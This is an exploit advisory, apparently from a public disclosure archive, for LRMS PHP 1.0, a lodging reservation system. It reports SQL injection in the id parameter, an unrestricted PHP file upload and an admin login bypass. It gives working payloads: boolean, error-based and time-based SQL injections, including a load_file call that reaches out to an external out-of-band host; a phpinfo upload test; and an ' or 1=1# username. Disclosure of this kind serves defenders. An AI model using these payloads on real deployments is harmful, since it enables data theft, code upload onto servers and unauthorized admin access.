LRMS PHP 1.0 SQL Injection / Shell Upload

`## Titles: LRMS-PHP-by-oretnom23-v1.0 hat-trick  
1. Multiple-SQLi  
2. File Upload  
3. SQLi Bypass Authentication:  
## Latest update from the vendor: 5 hours 32 minutes ago  
## Author: nu11secur1ty  
## Date: 04/17/2024  
## Vendor: https://github.com/oretnom23  
## Software: https://www.sourcecodester.com/php/14883/lodging-reservation-management-system-php-free-source-code.html  
## Reference: https://portswigger.net/web-security/sql-injection,  
https://portswigger.net/web-security/file-upload,  
https://portswigger.net/web-security/authentication  
  
## Description:  
SQLi: The id parameter appears to be vulnerable to SQL injection  
attacks. The payload '+(select  
load_file('\\\\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.stupid.com\\fsb'))+'  
was submitted in the id parameter. This payload injects a SQL  
sub-query that calls MySQL's load_file function with a UNC file path  
that references a URL on an external domain. The application  
interacted with that domain, indicating that the injected SQL query  
was executed.The attacker can get all information from the system by  
using this vulnerability!  
STATUS: HIGH- Vulnerability  
  
---------------------------------------------------------------------------------------------------------------------------------------  
FU:  
Using this vulnerability, the attacker can upload any PHP file on the server.  
The parameter id="cimg" is not sanitizing securely.  
STATUS: CRITICAL- Vulnerability  
  
---------------------------------------------------------------------------------------------------------------------------------------  
SQLi-Bypass-Authentication:  
The attacker can bypass the admin login form and login to the system  
by using this vulnerability.  
The parameter username is not sanitized securely.  
STATUS: CRITICAL- Vulnerability  
  
[+]Exploits:  
- SQLi Multiple:  
```mysql  
---  
Parameter: id (GET)  
Type: boolean-based blind  
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)  
Payload: page=view_room&id=c81e728d9d4c2f636f067f89cc14862c'+(select  
load_file('\\\\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.oastify.com\\fsb'))+''  
OR NOT 5694=5694 AND 'FJxl'='FJxl  
  
Type: error-based  
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or  
GROUP BY clause (FLOOR)  
Payload: page=view_room&id=c81e728d9d4c2f636f067f89cc14862c'+(select  
load_file('\\\\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.oastify.com\\fsb'))+''  
OR (SELECT 7377 FROM(SELECT COUNT(*),CONCAT(0x7178787a71,(SELECT  
(ELT(7377=7377,1))),0x7176787171,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'GMnz'='GMnz  
  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: page=view_room&id=c81e728d9d4c2f636f067f89cc14862c'+(select  
load_file('\\\\od5r0eqq0cjgsi6rj3zmuytae1ku8kwbzzqmha6.oastify.com\\fsb'))+''  
AND (SELECT 4559 FROM (SELECT(SLEEP(7)))zROX) AND 'HxzI'='HxzI  
---  
```  
  
- FU:  
```  
<?php  
phpinfo();  
?>  
```  
  
- SQLi - Bypass-Authentication:  
```  
username: nu11secur1ty' or 1=1#  
password: blank  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/%20hat-trick/LRMS-PHP-by-oretnom23-v1.0)  
  
## Proof and Exploit:  
[href](https://www.nu11secur1ty.com/2024/04/lrms-php-by-oretnom23-v10-hat-trick.html)  
  
## Time spent:  
01:35:00  
  
  
`